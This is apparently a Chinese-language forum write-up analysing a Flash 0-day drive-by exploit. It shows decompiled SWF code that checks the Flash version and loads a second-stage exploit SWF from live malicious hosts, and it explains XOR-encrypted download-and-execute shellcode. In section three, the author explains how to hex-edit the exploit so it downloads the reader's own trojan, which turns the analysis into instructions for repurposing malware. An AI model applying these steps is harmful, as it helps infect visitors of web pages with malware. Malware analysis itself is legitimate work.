最近FLASH出了几个0DAY,论坛也帖了相关的新闻信息(请见:http://bbs.tian6.com/viewthread.php?tid=4434&extra=&page=1).我也约在5天前开始对此进行研究.我记得同时间邪恶八进制也有人开始同样的研究.到目前为止,该0DAY可以影响到90.115这个版本.而邪八那边的研究,先在两天前宣布成功完成.这又给我带来不小的压力..
(一)作为研究的初步,通过TIM的帮助,我从几个被挂马的页面得到2个SWF网马.反编译后得知这两个SWF在获得本地FLASH插件版本后,会再次下载2个真正具备溢出并且下载病毒到本地执行能力的恶意SWF文件.其验证和下载SWF文件的详细代码可见如下:
var fVersion = getVersion();
loadMovie(”http://bao.5bao.net/123/” + fVersion + “i.swf”, _root);
stop ();
————————————此处获得了本地的FLASH版本.————————————-
说明:加载外部文件命令loadMovie()可以在播放 SWF 文件的同时,将外部的 SWF 文件或 JPEG 文件加载到 Flash Player 中,使您可以同时显示几个 SWF 文件,或者在几个SWF 文件之间切换[local]1[/local]
1、loadMovie(”url”,target [, method])
“url” :要加载的 SWF 文件或 JPEG 文件的绝对路径或相对路径。
使用相对路径一般应将播放的.swf文件与要加载的.swf文件放在同一文件夹中。绝对 路径必须有详细的路径地址。
target:目标影片剪辑(mc元件)的名称和路径。目标影片剪辑将替换为加载的 SWF 文件或图像。
method 可选参数,一般可以不选。
// [Action in Frame 1]
_constantPool “fVersion” “/:$version” “http://xioayang,com/123/” “c.swf” “_root”
_push “fVersion” “/:$version”
_getVariable
_var
_push “http://xioayang,com/123/” “fVersion”
_getVariable
_add2
_push “c.swf”
_add2
_push “_root”
_getVariable
_getURL2 flag 64
_stop
_end
————————-获得版本后,构成下载地址,下载真正的凶手SWF.———————
Action in Frame 1这个动作就同时打开了C.swf并push in root了.
根据上面,我下载了相应的”WIN%209,0,45,0ie.swf”保存到本地,至此我们总共得到了4个样本SWF,其中2个溢出的主SWF.总算有了可供对比分析文件的资本了.
(二)反编译溢出主体SWF后,我们从FLA中看到了这个SWF包括3个标签,1个动作,1个图片元素,1个侦.
通过2进制对比我们的两个样本,发现具有可疑性的分别是图片元素和那个侦.邪恶八进制那里的研究认为是图片部分.并且最终锁定了图片中的一段代码.不过无 论图片或者那个侦在16进下均为乱码.通过几个常用的SHELLCODE加密技术,我仍然无法还原出有用的信息..前几天我就是从这里开始失去方向的.部 分代码截图可见:
(三)经过这几天的思考和对0DAY原理的多次构想,我们确定,这个FLASH0DAY原理 是让用户浏览该SWF文件,如果用户的FLASH插件版本等于或者低于115,那么就会下载并且运行恶意的SWF.产生溢出,溢出后,会按照小黑给你准备 好的木马地址执行下载+执行的操作,那么这个木马地址本身,必然存在于这个可以溢出的SWF之中.我们之所以16进找不到这个代码的所在地,是因为 SHELLCODE被加密了.那么怎么找到这个位置和判别加密方式呢?这里我们采用逆向工程.Reverse Engineering”,译成中文就是”逆向工程”.我使用了TRW,Soft-Ice和W32Dasm通过不断的重要地址断点,不断的汇编调试,分析 消息响应函数,终于把SHELLCODE锁定在了这里:16进制打开主溢出SWF
留意值为62处.从这里开始,出现木马地址.在改木马地址之前,把这里值改为51.
然后找到:
这部份修改为你的马的地址.
譬如:
至此,你已经成功的把这马变成了自己的了.
(四)我们继续探讨这个SHELLCODE的加密原理…这也是我们找不到,只能靠逆向来逐步推的拦路石了.OPEN说这是这个SHELLCODE是由之前迅雷0day的shellcode一样的xor加密方式加密的.
以下引用部分XOR的加密和解密原理:
shellcode要在别人的计算机里正常运行,需要注意的关键:
1. 所有shellcode都难以保证自己的代码被加载到哪个内存地址。shellcode要运转,特别是要读取自身代码里的数据(如病毒URL地址,要调用的函数名等常量和变量),就必须要自我定位,即获取自身在内存中的虚拟地址。
一般来说,只要在执行shellcode过程中,能获取到程序当前的入口点EIP值,就能以此定位自己的代码。但是EIP值是不能直接用mov等方法获取的。为此,shellcode编写者利用了一个典型的办法,你在下面的shellcode中将会看到。
2.shellcode必须在所在进程的空间里,调用系统API函数,来完成远程下载文件并运行的目的。那么,怎么获取函数地址?这也就是远程注入代码的又一关键:函数地址重定位问题。
只要API所在的dll被进程所加载,就可以通过由kernel32.dll导出的GetProcAddress来得到函数地址,进而Call之。但是,GetProcAddress本身也是一个函数,我们首先要得到它的地址啊!看起来好像进入死循环了。
既然如此,shellcode作者就必须模拟程序加载dll的方式,为自己的shellcode代码创建一个类似的“输入表”。要得到 kernel32.dll中的GetProcAddress函数的地址,也就要读取kernel32.dll的输出表。那么,问题变成了如何定位 kernel32.dll的输出表。
问题转变成了一个PE文件结构读取的问题。只要得到kernel32.dll在进程虚拟空间中的基址(DOS文件头,即MZ的位置),就可以在03CH偏移处读到PE文件头(”;PE”字样地址)相对这个DOS文件头的偏移,并计算出PE文件头地址。PE文件头结构中的78H处,就是输出表的地址了。通过检索输出表,就可以得到GetProcAddress函数的地址的偏移量,进一步变为在虚拟空间中的入口点地址。
问题逐层深入,变成怎么得到“kernel32.dll文件在进程空间中的基址”。硬编码?那你干脆连函数地址都硬编码,不是更省?!shellcode作者们有更好的作法。
讲到dll的基址,一个结构呼之欲出了——
PEB!fs:[0x30]!
关于争对这个FLASH0DAY如何破解XOR加密SHELLCODE的方式,我还没有完全总结完我的操作.总结完了我再补充进来.这里先列出两篇文章供大家参考:
http://bbs.pediy.com/showthread.php?t=46068
http://hi.baidu.com/yicong2007/blog/item/d8355616879b964921a4e9e8.html